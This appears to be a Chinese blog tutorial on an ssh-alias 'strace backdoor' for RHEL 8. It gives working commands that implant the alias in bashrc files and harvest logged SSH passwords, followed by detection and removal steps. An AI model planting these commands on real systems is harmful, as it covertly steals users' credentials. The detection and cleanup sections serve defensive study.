strace 后门(RHEL 8 复现版)
一、原理简述
/etc/bashrc 是 系统的全局 Bash 配置文件,影响着这台机器上所有用户的 Bash 环境。通过修改 .bashrc 或 /etc/bashrc,给 ssh 命令设置一个别名。当用户执行 ssh 时,实际执行的是 strace 命令,用于跟踪 SSH 进程的系统调用,从而记录用户输入的用户名、密码、甚至 SSH 会话内容。
一句话原理:偷梁换柱,用户以为自己敲的是 ssh,实际敲的是 strace,密码被记下来了。注:只有用linux登录ssh才会被记录。
二、植入命令
方法1:修改全局 bashrc(影响所有用户)
echo 'alias ssh="strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh"' >> /etc/bashrc
source /etc/bashrc
方法2:修改单个用户的 bashrc
echo 'alias ssh="strace -o /home/用户名/.ssh.log -e read,write,connect -s 2048 ssh"' >> /home/用户名/.bashrc
source /home/用户名/.bashrc
三、效果
当用户执行 ssh root@192.168.1.100 时:
| 用户以为 | 实际发生 |
|---|---|
| 正常 SSH 登录 | strace 先运行,跟踪 SSH 进程的所有 read、write、connect 系统调用 |
| 输入密码 | 密码被记录到 /tmp/.ssh.log 文件中 |
攻击者事后可以查看日志文件,提取用户名和密码。
四、查看记录到的密码
# 查看 strace 日志
cat /tmp/.ssh.log
# 搜索密码相关字符串
grep -E "password|Password|passwd" /tmp/.ssh.log
# 查看 SSH 连接的目标
grep "connect" /tmp/.ssh.log
五、原理详解
| 参数 | 作用 |
|---|---|
strace |
Linux 系统调用跟踪工具 |
-o /tmp/.ssh.log |
将跟踪结果输出到指定文件 |
-e read,write,connect |
只跟踪 read、write、connect 这三个系统调用 |
-s 2048 |
显示的字符串最大长度(2048 字节,足够捕获密码) |
ssh |
原始命令,被 alias 包裹后,strace 会执行真正的 ssh |
数据流向
用户输入 ssh root@IP
│
▼
alias 展开 → strace -o /tmp/.ssh.log ... ssh root@IP
│
├──→ strace 开始记录
│ │
│ ▼
│ 记录用户输入(包括密码)
│ │
│ ▼
│ 写入 /tmp/.ssh.log
│
└──→ 调用真正的 ssh 程序
│
▼
正常建立 SSH 连接
六、排查方法
1. 检查 alias 别名
# 查看当前用户的 alias
alias
# 查看所有用户的 alias(需要 root)
grep -r "alias ssh" /etc/bashrc /etc/profile /home/*/.bashrc /root/.bashrc 2>/dev/null
2. 检查 strace 日志文件
# 查找 strace 日志
find /tmp /home -name "*.log" 2>/dev/null | xargs grep -l "strace\|read.*write" 2>/dev/null
# 查看是否有 strace 进程在运行
ps aux | grep strace
3. 检查命令路径
# 查看 ssh 命令的实际路径
which ssh
# 正常应输出:/usr/bin/ssh
# 如果输出 alias 相关,说明被改过
七、清除方法
# 1. 编辑配置文件,删除 alias 行
vi /etc/bashrc
# 或
vi ~/.bashrc
# 找到类似下面这一行,删除
# alias ssh="strace -o /tmp/.ssh.log ... ssh"
# 2. 重新加载配置
source /etc/bashrc # 或 source ~/.bashrc
# 3. 删除日志文件
rm -f /tmp/.ssh.log rm -f /home/*/.ssh.log
# 4. 验证 alias 已清除
alias | grep ssh
# 应无输出
八、与其他后门的对比
| 对比项 | strace 后门 | SSH Wrapper 后门 |
|---|---|---|
| 目的 | 窃取密码 | 直接获得 Shell |
| 是否替换文件 | ❌ 不替换 | ✅ 替换 sshd |
| 触发方式 | 用户正常使用 ssh | 攻击者特定源端口 |
| 隐蔽性 | 较低(alias 可见) | 较高(文件被替换) |
| 持久化 | 重启后仍在 | 重启后仍在 |
九、快速检测命令
# 一条命令检测 strace 后门
alias 2>/dev/null | grep -q "strace.*ssh" && echo "⚠ strace 后门 detected!" || echo "✓ 未发现 alias 后门"
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END


















暂无评论内容